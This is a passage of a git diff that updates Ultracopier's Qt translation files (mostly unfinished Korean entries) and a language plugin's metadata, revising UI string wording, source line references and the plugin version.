- <source>Write the transfers:</source>
+ <location filename="../../../OptionDialog.ui" line="697"/>
+ <source>Write the log file into:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
- <source>Write the errors:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
- <source>Write the folder operations:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
- <source>Disabled because you have any SessionLoader plugin</source>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="731"/>
<source>Synchronized log</source>
<translation type="unfinished"></translation>
</message>
@@ -777,11 +980,11 @@ This version is compiled as version: %1.</source>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -823,37 +1026,42 @@ This version is compiled as version: %1.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation type="unfinished"></translation>
</message>
@@ -871,140 +1079,140 @@ This version is compiled as version: %1.</source>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
- <source>informations.xml not found into the plugin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
- <source>English text missing into the informations.xml for the tag: %1</source>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
<translation type="unfinished"></translation>
</message>
@@ -1012,44 +1220,44 @@ since:%2</source>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation type="unfinished"></translation>
</message>
@@ -1057,85 +1265,117 @@ since:%2</source>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/Languages/ko/flag.png b/plugins/Languages/ko/flag.png
index e0e278a..1dfaf96 100644
--- a/plugins/Languages/ko/flag.png
+++ b/plugins/Languages/ko/flag.png
Binary files differ
diff --git a/plugins/Languages/ko/informations.xml b/plugins/Languages/ko/informations.xml
index 2a0dfce..877111a 100644
--- a/plugins/Languages/ko/informations.xml
+++ b/plugins/Languages/ko/informations.xml
@@ -13,12 +13,11 @@
<description xml:lang="en"><![CDATA[File to define all English language related, Ultracopier is written in English, then not translation file needed]]></description>
<description xml:lang="ko"><![CDATA[Ultracopier의 한국어 번역입니다. 더 나은 번역이나 오타, 오역에 대한 제보는 이메일로 연락해주시면 감사하겠습니다.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.6</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>ko</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- <=ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/ko/translation.ts b/plugins/Languages/ko/translation.ts
index 6971c7a..e6c41b2 100644
--- a/plugins/Languages/ko/translation.ts
+++ b/plugins/Languages/ko/translation.ts
@@ -4,77 +4,83 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
<translation>알림</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
<translation>Ultracopier가 이미 실행중입니다. 사용하려면 트레이 아이콘에서 우클릭하십시오</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
- <source>Problem at the reading, or file size is null</source>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
- <source>This file is not supported transfer list</source>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
- <source>Unable to open the transfer list file</source>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
- <source>The arguments possibles are:</source>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <source>This file is not supported transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <source>Unable to open the transfer list file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
- <source>Command line not understand</source>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation type="unfinished"></translation>
</message>
@@ -82,410 +88,501 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
<translation>알림</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<source>Cannot find any copy engine with motions support</source>
- <translation>동작 감지를 지원하는 복사 엔진을 찾을 수 없습니다</translation>
+ <translation type="obsolete">동작 감지를 지원하는 복사 엔진을 찾을 수 없습니다</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
<source>Cannot find any compatible engine!</source>
<translation>호환되는 엔진을 찾을 수 없습니다!</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
<source>This copy engine does not support motions</source>
- <translation>이 복사 엔진은 동작 감지를 지원하지 않습니다</translation>
+ <translation type="obsolete">이 복사 엔진은 동작 감지를 지원하지 않습니다</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
<translation type="unfinished"></translation>
</message>
</context>
<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation type="unfinished">오류</translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation>오류</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
- <source>The argument for the mode is not understand</source>
+ <location filename="../../../Core.cpp" line="93"/>
